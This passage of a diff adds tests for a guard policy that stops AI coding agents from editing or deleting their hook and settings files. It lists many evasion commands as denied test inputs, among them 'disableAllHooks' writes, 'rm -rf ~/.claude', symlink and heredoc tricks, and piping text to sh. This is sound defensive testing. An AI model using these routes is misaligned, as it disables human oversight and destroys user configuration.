@@\n-x\n+y\n" })).toBe(true); + }); + + it("allows an apply_patch edit of ordinary files, and a Write whose content is a diff", async () => { + expect(await decision("Edit", { command: ["apply_patch", "*** Begin Patch\n*** Update File: src/index.ts\n@@\n-a\n+b\n*** End Patch\n"] })).toBe("allow"); + // The content of a Write is content: its file_path is what it writes. + expect( + await decision("Write", { file_path: `${PROJ}/docs/fix.md`, content: "+++ b/.claude/settings.json\n*** Update File: .claude/settings.json" }), + ).toBe("allow"); + }); + }); + + describe("paths as the tool would open them", () => { + it("resolves a relative path against the session's cwd", async () => { + expect(await write(".claude/settings.json")).toBe(true); + expect(await write("../other/.claude/settings.local.json")).toBe(true); + expect(await write("settings.json", `${home}/.claude`)).toBe(true); + }); + + it("expands ~", async () => { + expect(await write("~/.claude/settings.json")).toBe(true); + }); + + it("ignores case, as macOS's default filesystem does", async () => { + expect(await write(`${home}/.Claude/Settings.json`)).toBe(true); + expect(await write(`${home}/.CODEX/HOOKS.JSON`)).toBe(true); + }); + }); + + describe("symlinks", () => { + let work: string; + beforeAll(() => { + work = join(root, "work"); + mkdirSync(join(work, "real", ".claude"), { recursive: true }); + mkdirSync(join(work, "proj"), { recursive: true }); + writeFileSync(join(work, "real", ".claude", "settings.json"), "{}"); + symlinkSync(join(work, "real", ".claude", "settings.json"), join(work, "proj", "cfg.json")); + symlinkSync(join(work, "real", ".claude"), join(work, "proj", "link")); + // The dotfiles layout: the real file names no agent directory at all. + mkdirSync(join(home, "dotfiles", "claude"), { recursive: true }); + mkdirSync(join(home, ".claude"), { recursive: true }); + writeFileSync(join(home, "dotfiles", "claude", "settings.json"), "{}"); + writeFileSync(join(home, "dotfiles", "zshrc"), ""); + symlinkSync(join(home, "dotfiles", "claude", "settings.json"), join(home, ".claude", "settings.json")); + }); + + it("denies a write through a link to a settings file", async () => { + expect(await write(join(work, "proj", "cfg.json"), join(work, "proj"))).toBe(true); + }); + + it("denies creating a settings file through a linked directory", async () => { + expect(await write(join(work, "proj", "link", "settings.local.json"), join(work, "proj"))).toBe(true); + }); + + it("denies editing the real file behind the home directory's settings link", async () => { + expect( + await deniedAsSettings("Edit", { + file_path: join(home, "dotfiles", "claude", "settings.json"), + old_string: "{", + new_string: '{"disableAllHooks": true,', + }), + ).toBe(true); + }); + + it("allows the rest of a dotfiles directory", async () => { + expect(await decision("Write", { file_path: join(home, "dotfiles", "zshrc"), content: "" })).toBe("allow"); + }); + + it("denies the dotfiles target from the shell too", async () => { + expect(await bash(`sed -i '/failproofai/d' ~/dotfiles/claude/settings.json`)).toBe(true); + expect(await bash(`sed -i '/failproofai/d' ${join(home, "dotfiles", "claude", "settings.json")}`)).toBe(true); + expect(await bashDecision(`sed -i 's/a/b/' ~/dotfiles/zshrc`)).toBe("allow"); + }); + + it("denies the target of a project's settings link", async () => { + // A committed `.claude/settings.json -> ../config/claude.json`: the file an + // agent edits names no agent directory. + const project = join(root, "linkproj"); + mkdirSync(join(project, ".claude"), { recursive: true }); + mkdirSync(join(project, "config"), { recursive: true }); + writeFileSync(join(project, "config", "claude.json"), "{}"); + symlinkSync(join("..", "config", "claude.json"), join(project, ".claude", "settings.json")); + expect(await write(join(project, "config", "claude.json"), project)).toBe(true); + expect(await decision("Write", { file_path: join(project, "config", "other.json"), content: "{}" }, project)).toBe("allow"); + }); + }); + + describe("ordinary file work stays allowed", () => { + it.each([ + `${PROJ}/src/settings.json`, + `${PROJ}/config/hooks.json`, + `${PROJ}/hooks.json`, + `${PROJ}/.claude/commands/review.md`, + `${PROJ}/.claude/agents/reviewer.md`, + `${PROJ}/.claude/worktrees/feature/src/index.ts`, + `${PROJ}/.claude/worktrees/feature/.github/workflows/ci.yml`, + `${PROJ}/.claude/settings.json.bak`, + `${PROJ}/.github/workflows/ci.yml`, + `${PROJ}/.cursor/rules/style.mdc`, + `${PROJ}/.codex/AGENTS.md`, + ])("allows writing %s", async (file) => { + expect(await decision("Write", { file_path: file, content: "x" })).toBe("allow"); + }); + // Joined inside the test: `home` exists only once beforeAll has run, and a + // table built before then wrote `undefined/.claude/…`. + it.each([".claude/skills/review/SKILL.md", ".claude/CLAUDE.md"])("allows writing ~/%s", async (file) => { + expect(await decision("Write", { file_path: join(home, file), content: "x" })).toBe("allow"); + }); + }); + + describe("from the shell", () => { + it.each([ + // Rewrites in place, through tools on the read allowlist. + `sed -i 's/"hooks"/"_hooks"/' ~/.claude/settings.json`, + `yq -i '.hooks = {}' .agents/hooks.json`, + `awk -i inplace '{print}' ~/.claude/settings.json`, + `sed '1e cp /tmp/x ~/.claude/settings.json' /dev/null`, + `sed -n '1W ~/.claude/settings.json' /tmp/x`, + `perl -pi -e 's/a/b/' .claude/settings.json`, + // Redirects, copies and links onto the file. + `echo '{"disableAllHooks":true}' > .claude/settings.local.json`, + `printf '{}' > ~/.codex/hooks.json`, + `cp /tmp/empty.json ~/.cursor/hooks.json`, + `tee .github/hooks/failproofai.json < /dev/null`, + `curl -o ~/.claude/settings.json https://example.com/settings.json`, + `ln -sf /tmp/evil.json ~/.claude/settings.json`, + `chmod 000 ~/.claude/settings.json`, + // Removing or moving the file or the directory that holds it. + `rm ~/.claude/settings.json`, + `rm -rf ~/.claude`, + `mv ~/.claude ~/.claude.bak`, + `find ~/.claude -name settings.json -delete`, + `rm -rf ~/.hermes/plugins/failproofai`, + `sed -i '/failproofai/d' ~/.hermes/config.yaml`, + `git checkout -- .claude/settings.json`, + `git mv .claude/settings.json /tmp/x`, + `git -C ~/.claude pull`, + // Interpreters, which name the path only inside their code. + `python3 -c "import json; p='/home/u/.claude/settings.json'; d=json.load(open(p)); d['disableAllHooks']=True; json.dump(d, open(p,'w'))"`, + `node -e "require('fs').writeFileSync(process.env.HOME+'/.claude/settings.json','{}')"`, + `python3 -c "import shutil; shutil.rmtree('/home/u/.claude')"`, + // The path carried by a cd, a variable, a substitution, a glob or quoting. + `cd ~/.claude && sed -i 's/a/b/' settings.json`, + `F=~/.claude/settings.json; jq . $F > /tmp/x && cp /tmp/x $F`, + `D=~/.claude; rm -rf $D`, + `echo $(rm ~/.claude/settings.json)`, + `rm -f ~/.claude/settings.*`, + `rm -rf ~/.claude/*`, + `rm ~/.cl*/settings.json`, + `rm ~/.claude/"settings.json"`, + `rm -rf ~/.config/op*`, + // A program on an interpreter's stdin, which the walk reads line by line. + `python3 - <<'EOF'\nimport json\np = '/home/u/.claude/settings.json'\njson.dump({"disableAllHooks": True}, open(p, 'w'))\nEOF`, + ])("denies %s", async (command) => { + expect(await bash(command)).toBe(true); + }); + + it.each([ + // Sweeps of a shared parent: the same decoy floor that keeps `rm -rf *` + // allowed for the state guard. + `rm -rf ~/.config/*`, + `rm -rf ~/.{cache,config}/*`, + `rm -rf .github/*`, + ])("allows the sweep %s", async (command) => { + expect(await bashDecision(command)).toBe("allow"); + }); + + it("resolves relative words against a cwd an earlier call left inside ~/.claude", async () => { + const inClaude = `${home}/.claude`; + expect(await bash(`sed -i 's/x/y/' settings.json`, inClaude)).toBe(true); + expect(await bash(`rm *.json`, inClaude)).toBe(true); + expect(await bash(`rm -rf .`, inClaude)).toBe(true); + // The rest of that directory is ordinary files. + expect(await bashDecision(`rm -rf skills/old`, inClaude)).toBe("allow"); + expect(await bashDecision(`sed -i 's/a/b/' commands/review.md`, inClaude)).toBe("allow"); + }); + + it.each([ + `cat ~/.claude/settings.json`, + `jq '.hooks' ~/.claude/settings.json`, + `cat ~/.claude/settings.json | jq '.disableAllHooks=true'`, + `sed -n '1,20p' ~/.claude/settings.json`, + `sed 's/a/b/' ~/.claude/settings.json`, + `cp ~/.claude/settings.json /tmp/settings.backup.json`, + `diff ~/.claude/settings.json /tmp/x.json`, + `grep -n failproofai ~/.codex/hooks.json`, + `ls -la ~/.claude`, + `git add .claude/settings.json && git commit -m "Add project hooks"`, + `git diff .claude/settings.json`, + `git log -p -- .claude/settings.json`, + `mkdir -p .claude/commands`, + `mkdir -p .claude`, + `touch .claude/settings.local.json`, + `rm -rf .claude/worktrees/old`, + `rm -rf ~/.claude/projects/-home-u-old`, + `git worktree remove .claude/worktrees/feature`, + `cd .claude/worktrees/feature && git status`, + `rm -rf node_modules dist`, + `rm -rf *`, + `rm */*.json`, + `rm -rf ~/.*`, + `echo "edit ~/.claude/settings.json yourself"`, + `gh pr create --title x --body "Blocks edits to ~/.claude/settings.json"`, + `code ~/.claude/settings.json`, + `bun test __tests__/hooks/settings-guard.test.ts`, + ])("allows %s", async (command) => { + expect(await bashDecision(command)).toBe("allow"); + }); + }); + + describe("the state guard beside it is unchanged", () => { + it("still denies the state for the state's own reason", async () => { + const result = await run("Bash", { command: "rm -rf ~/.failproofai" }); + expect(result.decision).toBe("deny"); + expect(result.reason).toMatch(/failproofai's own state/); + expect(await decision("Write", { file_path: `${home}/.failproofai/policies-config.json`, content: "{}" })).toBe("deny"); + }); + + it("still allows reading the state", async () => { + expect(await bashDecision("cat ~/.failproofai/policies-config.json")).toBe("allow"); + }); + + // The walk is shared, so the writers it learned for settings files reach + // the state too. Each of these was allowed before. + it.each([ + `yq -i '.enabledPolicies = []' ~/.failproofai/policies-config.json`, + `awk -i inplace '{print}' ~/.failproofai/policies-config.json`, + `sed '1e rm -rf ~/.failproofai' /dev/null`, + `python3 -c "import os; p='/home/u/.failproofai/policies/packs/installed.json'; os.remove(p)"`, + `git mv ~/.failproofai/policies-config.json /tmp/x`, + ])("now denies %s", async (command) => { + const result = await run("Bash", { command }); + expect(result.decision).toBe("deny"); + expect(result.reason).toMatch(/failproofai's own state/); + }); + }); +}); + +/** + * The second review round: one-command writes that still got through, and + * ordinary work the first round denied. + */ +describe("block-failproofai-commands — agent settings, review round two", () => { + function runIn(toolName: string, toolInput: Record, session: PolicyContext["session"]) { + const ctx: PolicyContext = { eventType: "PreToolUse", payload: {}, toolName, toolInput, session }; + return policy.fn(ctx); + } + + describe("a destination the shell resolves where a cd left it", () => { + it.each([ + `cd ~/.claude && echo '{"disableAllHooks":true}' > settings.json`, + `cd ~/.claude && cp /tmp/evil.json settings.json`, + `cd ~/.claude && tee settings.json < /tmp/evil.json`, + `pushd ~/.claude && cp /tmp/evil.json settings.json`, + `(cd ~/.claude && cp /tmp/evil.json settings.json)`, + `cd ~/.config && rm -rf opencode`, + `cd ~ && cd .claude && cp /tmp/evil.json settings.local.json`, + ])("denies %s", async (command) => { + expect(await bash(command)).toBe(true); + }); + + it("keeps the cd's reach inside its subshell and stops it at popd", async () => { + expect(await bashDecision(`(cd ~/.claude && cat settings.json); cp /tmp/x settings.json`)).toBe("allow"); + expect(await bashDecision(`pushd ~/.claude && cat settings.json && popd && cp /tmp/x settings.json`)).toBe("allow"); + }); + + it("closes the same hole for the state", async () => { + const result = await run("Bash", { command: "cd ~/.failproofai && cp /dev/null policies-config.json" }); + expect(result.decision).toBe("deny"); + expect(result.reason).toMatch(/failproofai's own state/); + expect((await run("Bash", { command: "cd ~/.failproofai && echo {} > policies-config.json" })).decision).toBe("deny"); + }); + }); + + describe("writers the first round missed", () => { + it.each([ + `sed -Ei 's/a/b/' ~/.claude/settings.json`, + `sed -ni 's/a/b/p' ~/.claude/settings.json`, + `sed -n 's/^//w/home/u/.claude/settings.json' /tmp/evil.json`, + `sed -n '1p; w /home/u/.claude/settings.json' /tmp/evil.json`, + `awk 'BEGIN{printf "{\\"disableAllHooks\\":true}" > ARGV[1]}' ~/.claude/settings.json`, + `git log -1 --format='format:{"disableAllHooks":true}' --output=$HOME/.claude/settings.json`, + `git diff --output=.claude/settings.json HEAD~1`, + `git archive -o ~/.claude/settings.json HEAD`, + `git -c alias.x='!rm -rf ~/.claude' x`, + `gh release download v1 -O ~/.claude/settings.json`, + `sort -o$HOME/.claude/settings.json /tmp/evil.json`, + `curl -so$HOME/.claude/settings.json https://example.com/x`, + `echo ~/.claude/settings.json | xargs tee`, + `echo ~/.claude/settings.json | xargs -n1 cp /tmp/evil.json`, + `echo x > >(tee ~/.claude/settings.json)`, + `rg --pre ./x.sh foo ~/.claude`, + ])("denies %s", async (command) => { + expect(await bash(command)).toBe(true); + }); + + it("denies an agent CLI's own command that turns its hooks off", async () => { + expect(await bashDecision("codex features disable hooks")).toBe("deny"); + expect(await bashDecision("npx codex features disable hooks")).toBe("deny"); + expect(await bashDecision("pi remove /usr/lib/node_modules/failproofai/pi-extension")).toBe("deny"); + expect(await bashDecision("codex features list")).toBe("allow"); + expect(await bashDecision("codex features enable web_search")).toBe("allow"); + }); + }); + + describe("paths spelled so the text never matches", () => { + it.each([ + `cp evil ~/.claude/settings$X.json`, + `cp evil ~/.clau\${X}de/settings.json`, + `cp evil ~/.claude/settings$(true).json`, + `cp evil /home/u/.claude/./settings.json`, + `cp evil /home/u/.claude//settings.json`, + `cp -l ~/.claude/settings.json /tmp/x`, + `cp -rs ~/.claude /tmp/c`, + ])("denies %s", async (command) => { + expect(await bash(command)).toBe(true); + }); + + it("splices variables into the state's paths too", async () => { + const result = await run("Bash", { command: "X=ai; rm -rf ~/.failproof$X" }); + expect(result.decision).toBe("deny"); + }); + }); + + describe("files this session knows about beyond the shapes", () => { + it("protects the settings file the hook was loaded from, wherever CLAUDE_CONFIG_DIR put it", async () => { + const session = { cwd: PROJ, agentSettingsPath: `${home}/.claude-work/settings.json` }; + const write = await runIn("Write", { file_path: `${home}/.claude-work/settings.json`, content: "{}" }, session); + expect(write.decision).toBe("deny"); + for (const command of [`sed -i 's/a/b/' ~/.claude-work/settings.json`, `rm -rf ~/.claude-work`]) { + expect((await runIn("Bash", { command }, session)).decision).toBe("deny"); + } + // The rest of that directory is not settings. + const other = await runIn("Write", { file_path: `${home}/.claude-work/CLAUDE.md`, content: "x" }, session); + expect(other.decision).toBe("allow"); + }); + + it("reads Antigravity's own cwd for a run_command", async () => { + expect(await deniedAsSettings("Bash", { command: "printf '{}' > hooks.json", cwd: "~/.gemini/config" })).toBe(true); + expect(await decision("Bash", { command: "printf '{}' > hooks.json", cwd: "/work/proj/tmp" })).toBe("allow"); + }); + + it("reads an indented apply_patch marker, and a patch beside a path key", async () => { + expect(await deniedAsSettings("Edit", { input: "*** Begin Patch\n *** Update File: .claude/settings.json\n@@\n-a\n+b\n*** End Patch" })).toBe(true); + expect(await deniedAsSettings("Edit", { input: "*** Begin Patch\n\t*** Update File: .claude/settings.json\n*** End Patch" })).toBe(true); + expect( + await deniedAsSettings("Edit", { path: "notes.md", patch: "*** Begin Patch\n*** Update File: ~/.hermes/config.yaml\n*** End Patch" }), + ).toBe(true); + }); + + it("reads a program that builds the path from its parts", async () => { + for (const command of [ + `python3 -c "import os; p=os.path.join(os.path.expanduser('~'),'.claude','settings.json'); open(p,'w').write('{}')"`, + `node -e "const p=require('path').join(require('os').homedir(),'.claude','settings.json'); require('fs').writeFileSync(p,'{}')"`, + `python3 - <<'EOF'\nimport os\np = os.path.join(os.path.expanduser('~'), '.codex', 'hooks.json')\nopen(p, 'w').write('{}')\nEOF`, + ]) { + expect(await bash(command)).toBe(true); + } + }); + + it("denies a sweep of the agent directory the session stands in", async () => { + expect(await bash("rm -rf *", `${home}/.claude`)).toBe(true); + expect(await bashDecision("rm -rf skills/*", `${home}/.claude`)).toBe("allow"); + }); + }); + + describe("ordinary work the first round denied", () => { + it.each([ + // Claude Code's own commit and PR shapes: the message is stored, never run. + `git commit -m "$(cat <<'EOF'\nRegister failproofai in .claude/settings.json\n\nCo-Authored-By: someone \nEOF\n)"`, + `gh pr create --title t --body "$(cat <<'EOF'\n## Summary\nBlocks edits to ~/.claude/settings.json and \`rm -rf ~/.claude\`\nEOF\n)"`, + `git commit -m "Install\n\nWrites .codex/hooks.json; and rm -rf ~/.claude is refused"`, + `git commit -m "Protect \\\`~/.claude/settings.json\\\` from agent edits"`, + `echo "a; rm -rf ~/.claude > ~/.claude/settings.json"`, + // Git hooks kept in .github/hooks. + `git config core.hooksPath .github/hooks`, + `chmod +x .github/hooks/*`, + `cp scripts/pre-commit .github/hooks/`, + // Reads that a loose sed or git check read as writes. + `sed -n '1,20p' /workspaces/p/.claude/settings.json`, + `git restore --staged .claude/settings.json`, + `echo ~/.claude/settings.json | xargs cat`, + ])("allows %s", async (command) => { + expect(await bashDecision(command)).toBe("allow"); + }); + + it("still denies what those shapes really run", async () => { + expect(await bash(`bash -c 'cat x; rm -rf ~/.claude'`)).toBe(true); + expect(await bash(`git commit -m "$(rm ~/.claude/settings.json)"`)).toBe(true); + expect(await bash(`cat <<'EOF' | sh\nrm -rf ~/.claude\nEOF`)).toBe(true); + expect(await bash(`cat < /tmp/x.sh <<'EOF'\nrm -rf ~/.claude\nEOF\nbash /tmp/x.sh`)).toBe(true); + }); + + it("no longer denies the state's own false positives from the same causes", async () => { + expect(await bashDecision(`git merge feature -m "notes about ~/.failproofai"`)).toBe("allow"); + expect(await bashDecision(`sed -n 1p /Users/Wei/.failproofai/policies-config.json`)).toBe("allow"); + }); + }); + + it("stays fast on a long line", async () => { + // A heredoc pattern rescanned the rest of the line for every + // interpreter-shaped word: 100 KB of prose took 12.6 s on the first + // version of this guard, against 0.15 s now. The bound is loose enough for + // a slow CI runner and still far below the old cost. + const words = "node php lua perl ruby bun deno python3 said "; + const command = "echo " + words.repeat(Math.ceil((100 * 1024) / words.length)); + const started = performance.now(); + expect(await bashDecision(command)).toBe("allow"); + expect(performance.now() - started).toBeLessThan(5000); + }, 60_000); +}); + +/** + * The third review pass: holes the second round's heredoc and quote handling + * opened (for the state too), and the gaps it left. + */ +describe("block-failproofai-commands — review round three", () => { + function runIn(toolName: string, toolInput: Record, session: PolicyContext["session"]) { + const ctx: PolicyContext = { eventType: "PreToolUse", payload: {}, toolName, toolInput, session }; + return policy.fn(ctx); + } + const stateDenied = async (command: string) => { + const result = await run("Bash", { command }); + return result.decision === "deny" && /failproofai's own state/.test(result.reason ?? ""); + }; + + describe("a `<<` that is not a heredoc does not hide the lines after it", () => { + it.each([ + `cat <<< x\nrm -rf ~/.failproofai`, + `echo "< { + expect(await stateDenied(command)).toBe(true); + }); + + it.each([ + `echo $((1< { + expect(await bash(command)).toBe(true); + }); + }); + + describe("a heredoc whose body is used is read", () => { + it.each([ + `git apply <<'EOF'\n--- a/.claude/settings.json\n+++ b/.claude/settings.json\n@@ -1 +1 @@\n-{}\n+{"disableAllHooks":true}\nEOF`, + `patch -p1 <<'EOF'\n--- a/.claude/settings.json\n+++ b/.claude/settings.json\nEOF`, + `while read f; do cp /tmp/evil.json "$f"; done < { + expect(await bash(command)).toBe(true); + }); + + it.each([ + `xargs rm -rf <<'EOF'\n/home/u/.failproofai\nEOF`, + `cat > /tmp/x.sh <<'EOF'\nrm -rf ~/.failproofai\nEOF\nbash /tmp/x.sh`, + ])("state: denies %s", async (command) => { + expect(await stateDenied(command)).toBe(true); + }); + }); + + describe("gaps the second round left", () => { + it.each([ + `cp /tmp/evil.json ~/.claude/settings$( true ).json`, + "cp /tmp/evil.json ~/.claude/settings` true `.json", + `cd "$(dirname ~/.claude/settings.json)" && echo '{}' > settings.json`, + `python3 -c"import os; p=os.path.join(os.path.expanduser('~'),'.claude','settings.json'); open(p,'w')"`, + `python3 \\\n -c "import os; p=os.path.join(os.path.expanduser('~'),'.claude','settings.json'); open(p,'w')"`, + `git -C ~/.claude log -1 --output=settings.json`, + `git bundle create ~/.claude/settings.json HEAD`, + `sed -n -l 1 "w $HOME/.claude/settings.json" /tmp/evil.json`, + `git rebase -x 'cp /tmp/evil.json ~/.claude/settings.json' HEAD~1`, + `git submodule foreach 'cp /tmp/evil.json ~/.claude/settings.json'`, + `git -C ~/.claude switch evil`, + `git -C ~/.claude merge FETCH_HEAD`, + `git -C ~/.claude rebase evil`, + `git -C ~/.claude am /tmp/evil.mbox`, + ])("denies %s", async (command) => { + expect(await bash(command)).toBe(true); + }); + + it("no longer takes a trailing comment for the destination", async () => { + expect(await stateDenied("cp /dev/null ~/.failproofai/policies-config.json # reset")).toBe(true); + expect(await bash("cp /dev/null ~/.claude/settings.json # reset")).toBe(true); + }); + + it("protects config.toml beside a relocated Codex hooks file", async () => { + const session = { cwd: PROJ, agentSettingsPath: `${home}/.codex-work/hooks.json` }; + const result = await runIn("Write", { file_path: `${home}/.codex-work/config.toml`, content: "[features]\nhooks = false\n" }, session); + expect(result.decision).toBe("deny"); + }); + + it("protects .github/hooks as a directory only where failproofai's Copilot hooks live", async () => { + const withHooks = join(root, "copilot-proj"); + mkdirSync(join(withHooks, ".github", "hooks"), { recursive: true }); + writeFileSync(join(withHooks, ".github", "hooks", "failproofai.json"), "{}"); + expect(await bash("rm -rf .github/hooks", withHooks)).toBe(true); + const gitHooksOnly = join(root, "githooks-proj"); + mkdirSync(join(gitHooksOnly, ".github", "hooks"), { recursive: true }); + expect(await bashDecision("rm -rf .github/hooks", gitHooksOnly)).toBe("allow"); + }); + }); + + describe("false positives the second round added", () => { + it.each([ + `git commit -m "Deny xargs writes to .claude/settings.json"`, + `git commit -m "Refuse codex features disable hooks"`, + `git -c core.pager=cat log -p -- .claude/settings.json`, + `awk '$2 > 1 {print $1}' ~/.claude/settings.json`, + `git merge feature -m "notes about ~/.claude/settings.json"`, + `git stash push -m "before editing .claude/settings.json"`, + ])("allows %s", async (command) => { + expect(await bashDecision(command)).toBe("allow"); + }); + + it("allows pointing git's hooksPath at a Copilot install's directory", async () => { + // A real install, so `.github/hooks/` is protected as a directory here: + // without the file the test passed whether or not the rule held. + const project = join(root, "copilot-install"); + mkdirSync(join(project, ".github", "hooks"), { recursive: true }); + writeFileSync(join(project, ".github", "hooks", "failproofai.json"), "{}"); + const session = { cwd: project, agentSettingsPath: join(project, ".github", "hooks", "failproofai.json") }; + expect((await runIn("Bash", { command: "rm -rf .github/hooks" }, session)).decision).toBe("deny"); + expect((await runIn("Bash", { command: "git config core.hooksPath .github/hooks" }, session)).decision).toBe("allow"); + }); + + it("still judges the state's merge message as a message", async () => { + expect(await bashDecision(`git merge feature -m "notes about ~/.failproofai"`)).toBe("allow"); + }); + }); + + it("stays linear on many quoted arguments", async () => { + // Deciding whether a quote's command was a shell copied the command's + // words at every quote: 20k quoted printf arguments took 1.46 s in the + // second round. One pass now; the bound leaves room for a slow runner. + const command = "printf '%s\\n' " + Array.from({ length: 40000 }, (_, i) => `'arg${i}'`).join(" "); + const started = performance.now(); + expect(await bashDecision(command)).toBe("allow"); + expect(performance.now() - started).toBeLessThan(3000); + }, 60_000); +}); + +/** + * The fourth review pass: what the lexer still read differently from bash, + * message bodies that something runs after all, and inputs that grew + * faster than their size. + */ +describe("block-failproofai-commands — review round four", () => { + const stateDenied = async (command: string) => { + const result = await run("Bash", { command }); + return result.decision === "deny" && /failproofai's own state/.test(result.reason ?? ""); + }; + + describe("what the lexer read differently from bash", () => { + it("reads ${…} as one word: a # inside it starts no comment", async () => { + expect(await stateDenied("echo ${X:- #}; rm -rf ~/.failproofai")).toBe(true); + expect(await bash("echo ${X:- #}; rm ~/.claude/settings.json")).toBe(true); + expect(await bash(`echo "$(echo \${X:-)}; cp /tmp/evil.json ~/.claude/settings.json)"`)).toBe(true); + }); + + it("reads a heredoc delimiter the way bash does", async () => { + // `< { + expect(await stateDenied("rm -rf ~/.fa${X:-ilproofai}")).toBe(true); + expect(await stateDenied(`rm -rf ~/.fa\${X:-il\${Z:+${"A".repeat(300)}}proofai}`)).toBe(true); + expect(await bash("cp /tmp/evil.json ~/.clau${X:-de}/settings.json")).toBe(true); + }); + + it("keeps an unquoted substitution whole as a cd operand", async () => { + expect(await bash("cd $(echo ~/.claude) && echo '{}' > settings.json")).toBe(true); + }); + }); + + describe("a message body that something runs", () => { + const body = "$(cat <<'EOF'\ncp /tmp/evil.json ~/.claude/settings.json\nEOF\n)"; + it.each([ + `sudo -u root sh -c "${body}"`, + `timeout -s KILL 5 sh -c "${body}"`, + `find /tmp -maxdepth 0 -exec sh -c "${body}" \;`, + `X="${body}"; eval "$X"`, + `echo "${body}" | sh`, + ])("denies %s", async (command) => { + expect(await bash(command)).toBe(true); + }); + }); + + describe("text piped into a shell", () => { + it("is judged as a command", async () => { + expect(await stateDenied("echo 'rm -rf ~/.failproofai' | sh")).toBe(true); + expect(await bash("printf 'cp /tmp/evil.json %s\\n' ~/.claude/settings.json | sh")).toBe(true); + expect(await bashDecision("echo 'codex features disable hooks' | sh")).toBe("deny"); + expect(await bashDecision("echo 'codex features disable hooks' | cat")).toBe("allow"); + }); + }); + + describe("commands git runs", () => { + it.each([ + `git difftool -x 'cp /tmp/evil.json ~/.claude/settings.json' HEAD`, + `git filter-branch --tree-filter 'cp /tmp/evil.json .claude/settings.json' HEAD`, + ])("denies %s", async (command) => { + expect(await bash(command)).toBe(true); + }); + }); + + describe("message shapes that are only messages", () => { + it.each([ + "git commit -m \"$(cat < docs/hooks.md <<'EOF'\nSee .github/hooks/failproofai.json\nrm -rf ~/.claude\nEOF", + "tee docs/hooks.md <<'EOF' >/dev/null\nrm -rf ~/.claude\nEOF", + ])("allows %s", async (command) => { + expect(await bashDecision(command)).toBe("allow"); + }); + + it("allows the state's quoted message too, which main denied", async () => { + expect(await bashDecision("git commit -m \"$(cat <<'EOF'\nKeep ~/.failproofai intact\nEOF\n)\"")).toBe("allow"); + }); + }); + + describe("inputs that grew faster than their size", () => { + const fast = async (command: string, limitMs: number) => { + const started = performance.now(); + await bashDecision(command); + return performance.now() - started < limitMs; + }; + it("handles thousands of heredoc operators on one line", async () => { + expect(await fast("cat " + "< { + expect(await fast("echo " + "${".repeat(50000), 3000)).toBe(true); + }, 60_000); + }); +}); + +/** The last review pass. */ +describe("block-failproofai-commands — review round five", () => { + const stateDenied = async (command: string) => { + const result = await run("Bash", { command }); + return result.decision === "deny" && /failproofai's own state/.test(result.reason ?? ""); + }; + + it("reads an echoed or printed heredoc that a later command runs", async () => { + expect(await stateDenied(`echo "$(cat <<'EOF'\nrm -rf ~/.failproofai\nEOF\n)" > /tmp/x.sh && sh /tmp/x.sh`)).toBe(true); + expect(await stateDenied(`printf '%s\\n' "$(cat <<'EOF'\nrm -rf ~/.failproofai\nEOF\n)" > /tmp/x.sh; bash /tmp/x.sh`)).toBe(true); + }); + + it("reads the failproofai CLI in text piped into a shell", async () => { + const result = await run("Bash", { command: "echo 'failproofai config --pause' | sh" }); + expect(result.decision).toBe("deny"); + expect(result.reason).toMatch(/Pausing failproofai/); + expect(await bashDecision("echo 'failproofai config --pause' | cat")).toBe("allow"); + }); + + it("stays fast on thousands of heredocs on one line", async () => { + const command = "cat < { + const command = "rm ~/.c" + "*".repeat(200) + "laude/settings.json"; + const started = performance.now(); + expect(await bash(command)).toBe(true); + expect(performance.now() - started).toBeLessThan(3000); + const spread = "rm ~/.c" + "*l".repeat(60) + "*aude/settings.json"; + const startedSpread = performance.now(); + await bashDecision(spread); + expect(performance.now() - startedSpread).toBeLessThan(3000); + }, 60_000); +}); + +/** + * hermes's first review and CodeRabbit's: a write through a link, a `..` after + * one, a quoted word in a hooks-off command, interpreter examples nothing runs, + * and where the shell stands through pipelines and subshells. + */ +describe("block-failproofai-commands — review round six", () => { + let h6: string; + let p6: string; + let outerHome: string | undefined; + const settings = () => join(h6, ".claude", "settings.json"); + const program = () => `python3 -c "open('${settings()}','w')"`; + + beforeAll(() => { + // Its own HOME and project, so the links below reach nothing else in this file. + h6 = join(root, "home6"); + p6 = join(root, "proj6"); + mkdirSync(join(h6, ".claude", "subdir"), { recursive: true }); + writeFileSync(settings(), "{}"); + mkdirSync(join(p6, ".claude"), { recursive: true }); + mkdirSync(join(p6, "config"), { recursive: true }); + writeFileSync(join(p6, "config", "claude.json"), "{}"); + symlinkSync(join("..", "config", "claude.json"), join(p6, ".claude", "settings.json")); + symlinkSync(settings(), join(p6, "cfg.json")); + symlinkSync(join(h6, ".claude"), join(p6, "agent-dir")); + symlinkSync(join(h6, ".claude", "subdir"), join(p6, "link")); + symlinkSync(join(h6, ".claude", "settings.local.json"), join(p6, "dangling.json")); + symlinkSync(join(h6, ".claude", "subdir"), join(h6, "hlink")); + outerHome = process.env.HOME; + process.env.HOME = h6; + }); + + afterAll(() => { + if (outerHome === undefined) delete process.env.HOME; + else process.env.HOME = outerHome; + }); + + describe("a shell write through a link (hermes F1)", () => { + it.each([ + `printf '{"disableAllHooks":true}' > cfg.json`, + `cp /tmp/x cfg.json`, + `printf '{}' > agent-dir/settings.json`, + `cd agent-dir && cp /tmp/x settings.json`, + `printf '{}' > config/claude.json`, + `printf '{}' > link/../settings.json`, + `printf '{}' > dangling.json`, + ])("denies %s", async (command) => { + expect(await bash(command, p6)).toBe(true); + }); + + it("leaves an ordinary file beside them alone", async () => { + expect(await bashDecision(`printf '{}' > config/other.json`, p6)).toBe("allow"); + expect(await bashDecision(`cat cfg.json && ls agent-dir/`, p6)).toBe("allow"); + }); + }); + + describe("a file tool's path through a link (hermes F2)", () => { + it("denies a .. that follows a link, relative and absolute", async () => { + expect(await write("link/../settings.json", p6)).toBe(true); + expect(await write(`${p6}/link/../settings.json`, p6)).toBe(true); + }); + + it("follows a link that leads nowhere yet: writing it creates the target", async () => { + expect(await write("dangling.json", p6)).toBe(true); + }); + + it("allows an ordinary .. path", async () => { + expect(await decision("Write", { file_path: "config/../notes.md", content: "x" }, p6)).toBe("allow"); + }); + }); + + describe("a quoted word in an agent CLI's hooks-off command (hermes F3)", () => { + it.each([ + `codex features disable "hooks"`, + `codex features disable 'hooks'`, + `codex features disable ho"oks"`, + `codex "features" disable hooks`, + `echo $(codex features disable "hooks")`, + ])("denies %s", async (command) => { + const result = await run("Bash", { command }); + expect(result.decision).toBe("deny"); + expect(result.reason).toMatch(/Turning an agent's hooks off/); + }); + + it("still reads a message that quotes one as a message", async () => { + expect(await bashDecision(`git commit -m "codex features disable hooks is now refused"`)).toBe("allow"); + }); + }); + + describe("an 